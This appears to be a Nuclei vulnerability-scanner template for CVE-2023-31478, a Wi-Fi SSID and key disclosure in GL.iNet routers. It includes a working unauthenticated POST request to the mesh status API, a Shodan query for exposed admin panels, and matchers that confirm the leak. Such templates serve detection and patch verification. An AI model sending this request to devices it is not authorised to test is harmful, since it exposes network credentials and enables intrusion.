漏洞描述
An issue was discovered on GL.iNet devices before 3.216. An API endpoint reveals information about the Wi-Fi configuration, including the SSID and key.
id: CVE-2023-31478
info:
name: GL.iNET SSID Key Disclosure
author: DhiyaneshDK
severity: high
description: |
An issue was discovered on GL.iNet devices before 3.216. An API endpoint reveals information about the Wi-Fi configuration, including the SSID and key.
impact: |
Unauthenticated attackers can retrieve Wi-Fi SSID and password information through the mesh status API endpoint, potentially allowing unauthorized access to the wireless network and intercepting network traffic.
remediation: |
Update GL.iNET firmware to version 3.216 or later that requires authentication for the /api/router/mesh/status endpoint and protects Wi-Fi credentials.
reference:
- https://www.gl-inet.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-31478
epss-score: 0.8264
epss-percentile: 0.99208
cpe: cpe:2.3:o:gl-inet:gl-s20_firmware:*:*:*:*:*:*:*:*
metadata:
vendor: gl-inet
product: gl-s20_firmware
verified: true
max-request: 1
shodan-query: title:"GL.iNet Admin Panel"
tags: cve,cve2023,gl-inet,disclosure,vkev,vuln
http:
- raw:
- |
POST /api/router/mesh/status HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
mac=
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"ssid":'
- '"encryption":'
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502204ffcc01da84b3a95e7ce4fa65330586881a5e5a9a87886fd2ae477909a58b6a3022100cab0a83f9bbfb986f1935e8f4974d7a1cd4c7026641c708d8cc6ed7befe1c66b:922c64590222798bb761d5b6d8e72950